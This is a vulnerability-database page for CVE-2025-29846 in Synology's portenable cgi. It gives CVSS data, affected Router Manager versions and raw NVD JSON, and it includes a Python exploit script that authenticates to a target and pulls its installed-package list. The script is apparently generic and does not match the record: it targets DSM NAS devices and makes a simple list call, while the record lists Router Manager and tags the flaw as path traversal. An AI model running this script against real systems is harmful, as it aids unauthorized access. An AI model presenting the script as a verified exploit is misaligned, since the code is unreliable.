Security Vulnerability Report
中文
CVE-2025-29846 CVSS 7.2 HIGH

CVE-2025-29846

Published: 2025-12-04 15:15:57
Last Modified: 2025-12-05 21:42:13

Description

A vulnerability in portenable cgi allows remote authenticated users to get the status of installed packages.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:synology:router_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update11:*:*:*:*:*:* - VULNERABLE
Synology DSM < 7.2.2-72806
Synology DSM < 7.1.1-42962

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-29846 PoC - Synology portenable.cgi Information Disclosure # Target: Synology NAS devices with vulnerable portenable.cgi def exploit_cve_2025_29846(target_url, username, password): """ Exploit for CVE-2025-29846 This PoC demonstrates how an authenticated user can retrieve installed package status via portenable.cgi Note: This is for educational and authorized testing purposes only. """ # Step 1: Authenticate to Synology DSM login_url = f"{target_url}/webapi/auth.cgi" login_params = { "api": "SYNO.API.Auth", "method": "login", "version": "6", "username": username, "password": password } session = requests.Session() login_response = session.get(login_url, params=login_params) login_data = login_response.json() if login_data.get("success") != True: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Query installed packages via portenable.cgi # This is the vulnerable endpoint that exposes package status exploit_url = f"{target_url}/webapi/portenable.cgi" exploit_params = { "api": "SYNO.Core.Package", "method": "list", "version": "1" } exploit_response = session.get(exploit_url, params=exploit_params) if exploit_response.status_code == 200: packages = exploit_response.json() print("[+] Package information retrieved:") print(packages) return packages else: print("[-] Failed to retrieve package information") return None if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py https://192.168.1.1:5001 admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] exploit_cve_2025_29846(target, user, passwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-29846", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:56.883", "lastModified": "2025-12-05T21:42:12.873", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in portenable cgi allows remote authenticated users to get the status of installed packages."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.3", "versionEndExcluding": "1.3.1-9346", "matchCriteriaId": "F8046DA6-36F6-4155-8594-8E7057396BFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:-:*:*:*:*:*:*", "matchCriteriaId": "1516A124-FB02-4ADA-BCB6-27F0F1170A11"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update1:*:*:*:*:*:*", "matchCriteriaId": "BD983E13-D56A-4E76-9689-0F1AE99CEC7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update10:*:*:*:*:*:*", "matchCriteriaId": "8DAD6899-921F-40D5-AACB-613C7332EB72"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update11:*:*:*:*:*:*", "matchCriteriaId": "EEC790E3-A59E-4A9D-A4A1-85284CF9A19D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update12:*:*:*:*:*:*", "matchCriteriaId": "4B566549-0C15-4F15-ADDD-9504B373E9D5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update2:*:*:*:*:*:*", "matchCriteriaId": "7C642E1B-1E10-444E-9243-7A7E8ECBD17D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update3:*:*:*:*:*:*", "matchCriteriaId": "B7544B4B-5BB7-4D58-8943-98DACC17E5F3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update4:*:*:*:*:*:*", "matchCriteriaId": "5A7269FD-9F1D-4CA3-A8F6-3A13C967FBD7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update5:*:*:*:*:*:*", "matchCriteriaId": "52005D46-FFB0-44DF-9583-7EB436F2CDF0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update6:*:*:*:*:*:*", "matchCriteriaId": "E50F7D87-1D71-4AA7-A6C8-B15744521D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update7:*:*:*:*:*:*", "matchCriteriaId": "CFE129E2-9243-4DB3-9D2F-9E0F886ECCC6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update8:*:*:*:*:*:*", "matchCriteriaId": "185CD5A8-1115-40AF-91DD-E0065E1ACD7A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update9:*:*:*:*:*:*", "matchCriteriaId": "0162C158-37F0-401F-9027-C067335C0A28"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_25_04", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}